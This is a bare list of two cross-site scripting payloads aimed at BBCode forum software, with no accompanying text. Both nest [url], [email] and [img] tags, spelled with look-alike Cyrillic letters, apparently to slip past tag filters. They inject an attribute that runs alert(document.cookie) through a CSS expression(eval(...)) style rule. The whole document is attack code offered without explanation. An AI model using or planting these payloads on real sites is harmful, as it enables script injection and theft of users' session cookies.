[urл=http://a[еmail=s=`]a[/еmail]]a[/urл]`xss=`alert(document.cookie);this.xss=null` 
style=top:expression(eval(this.xss));

[iмg]http://[urл=http://s=`]aaaaa[/urл][/iмg]`xss=`alert(document.cookie);this.xss=null` 
style=top:expression(eval(this.xss));